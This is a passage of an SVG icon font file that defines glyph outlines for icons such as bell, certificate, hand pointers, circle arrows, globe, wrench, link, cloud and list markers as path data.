d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
" />
    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
" />
    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" 
d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
